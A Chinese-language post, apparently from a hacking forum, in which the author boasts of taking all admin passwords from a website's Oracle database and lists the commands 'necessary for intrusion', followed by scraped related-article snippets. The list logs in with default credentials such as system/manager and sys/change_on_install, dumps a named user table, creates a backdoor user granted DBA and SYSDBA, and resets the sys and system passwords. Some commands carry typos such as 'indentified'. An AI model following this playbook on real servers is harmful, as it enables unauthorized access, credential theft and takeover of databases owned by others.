最近遇到一个使用了oracle数据库的服务器,在狂学oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码,我发现oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来,一个星期的心血,版权所有,转载请注明作者.
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
3、SQL>connect / as sysdba ;(as sysoper)或
connect internal/oracle AS SYSDBA ;(scott/tiger)
conn sys/change_on_install as sysdba;
4、SQL>startup; 启动数据库实例
5、 查看当前的所有数据库: select * from v$database;
select name from v$database;
desc v$databases; 查看数据库结构字段
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
SQL>select * from V_$PWFILE_USERS;
Show user;查看当前数据库连接用户
8、进入test数据库:database test;
9、查看所有的数据库实例:select * from v$instance;
如:ora9i
10、查看当前库的所有数据表:
SQL> select TABLE_NAME from all_tables;
select * from all_tables;
SQL> select table_name from all_tables where table_name like '%u%';
TABLE_NAME
------------------------------
_default_auditing_options_
11、查看表结构:desc all_tables;
12、显示CQI.T_BBS_XUSER的所有字段结构:
desc CQI.T_BBS_XUSER;
13、获得CQI.T_BBS_XUSER表中的记录:
select * from CQI.T_BBS_XUSER;
14、增加数据库用户:(test11/test)
create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;
15、用户授权:
grant connect,resource,dba to test11;
grant sysdba to test11;
commit;
16、更改数据库用户的密码:(将sys与system的密码改为test.)
alter user sys indentified by test;
alter user system indentified by test;
分享到:
相关推荐
以下是一些入侵Oracle数据库时可能会用到的常用操作命令的详细解释: 1. **切换用户**: `su – Oracle` 用于在没有DBA权限的情况下切换到Oracle用户,但通常需要相应用户的密码。若无密码,可使用`sqlplus /nolog...
Oracle数据库sqlplus常用命令 Oracle数据库sqlplus是Oracle数据库管理系统中的一种命令行工具,用于执行SQL语句、查看数据库状态、执行数据库管理任务等。以下是Oracle数据库sqlplus常用命令的知识点总结: 获取...
本文主要介绍了Oracle数据库中常用的导入导出命令及其具体用法。导出命令主要用于备份数据,而导入命令则用于将数据恢复至数据库中。在执行这些命令之前,确保已经正确地设置了表空间和用户信息是非常重要的。此外,...
数据库的启动和关闭是ORACLE数据库管理员的常用操作之一,包括启动实例、挂载数据库、打开数据库、关闭数据库等操作。常用的数据库启动和关闭命令有: * 启动实例:STARTUP NOMOUNT; * 挂载数据库:STARTUP MOUNT ...
`ConnForOracle` 类通过封装常用的数据库操作,极大地简化了 C# 应用程序与 Oracle 数据库之间的交互过程。它不仅提供了基础的连接管理和 SQL 执行功能,还包含了高级特性如数据分页和哈希表自动插入数据库等,为...
oracle数据库常用操作语句,实现对用户的管理和权限管理。
本文将详细介绍Oracle数据库的导出(EXP)和导入(IMP)命令。 **一、Oracle数据库导出命令(EXP)** 1. **USERID参数** `USERID=demo/demopwd@orcl`:这部分指定了连接到Oracle数据库的凭证。`demo`是用户名,`...
### Oracle数据库操作命令知识点 #### 一、Oracle的启动与关闭 - **切换用户到Oracle** - 使用`su - oracle`切换用户到Oracle环境,适用于没有DBA密码的情况,可以直接进入SQL*Plus界面。 - **启动Oracle实例** ...
Oracle数据库是目前广泛使用的大型关系型数据库...在Oracle数据库中,合理使用上述常用操作指令能够有效完成数据库的日常管理工作,对于Oracle入门级人物而言,掌握这些基本指令是进行进一步数据库学习和实践的基础。
该命令是常用的一种关闭数据库的方式,发出该命令后会立即中断正在被 Oracle 处理的 SOL 语句。系统不会等待连接到数据库的所有用户退出系统,而会强行回滚当前所有的活动事务,然后断开所有的连接用户,这个过程...
今天,我们将详细介绍如何使用命令行来操作Oracle数据库的导入和导出。 备份数据 备份数据是数据库管理员的重要任务之一。Oracle提供了多种方式来备份数据,包括使用EXP命令和 datapump工具。EXP命令是一个传统的...
Oracle 数据库 常用巡检脚本
Oracle 数据库是一个广泛使用的的关系型数据库管理系统,它包含了大量的管理和操作命令。以下是一些关键的Oracle数据库命令和概念,以及如何在不同的环境下连接到Oracle数据库。 1. **启动数据库**: - `cd @...
本篇文章将详细阐述Oracle数据库的备份与恢复命令,以及如何通过批处理方式进行自动化操作。 一、Oracle数据库备份 1. **RMAN (Recovery Manager)**: Oracle提供的强大工具,用于数据库的备份、恢复和维护。RMAN...
"监控Oracle数据库的常用shell脚本" 监控Oracle数据库的常用shell脚本是DBA日常工作中不可或缺的一部分。本文将分享8个常用的shell脚本,涵盖了数据库实例的可用性、监听器的可用性、表空间的使用情况、无效对象的...
### Oracle数据库备份与恢复的关键知识点 #### 一、Oracle数据库备份流程详解 ##### 1. 创建备份目录 在进行Oracle数据库备份之前,首先需要在服务器上创建一个专门用于存放备份文件的目录。例如,在示例中,以`...
本篇将介绍Oracle数据库的基本操作,包括常用的工具、数据类型、创建数据表、索引和视图。 首先,Oracle数据库的基本操作工具主要包括以下几种: 1. SQL Plus:这是一个命令行接口,允许用户输入SQL语句进行数据库...
下面我们将详细介绍 Oracle 常用的 CMD 命令,帮助新手快速了解相关的操作。 一、连接数据库 在使用 Oracle 之前,需要连接到数据库。我们可以使用 sqlplus 命令连接到数据库。sqlplus 是 Oracle 的命令行工具,...
搜集整理的Oracle数据库安装与配置方法以及C#连接操作Oracle数据库的典型代码,比较管用的说。主要包括10个方面内容:1、ORACLE817安装(服务器端/客户端)。2、ORACLE817配置(服务器端)。3、ORACLE817配置...
开发人员或者数据库管理人员,oracle数据库备份导出命令及其导入命令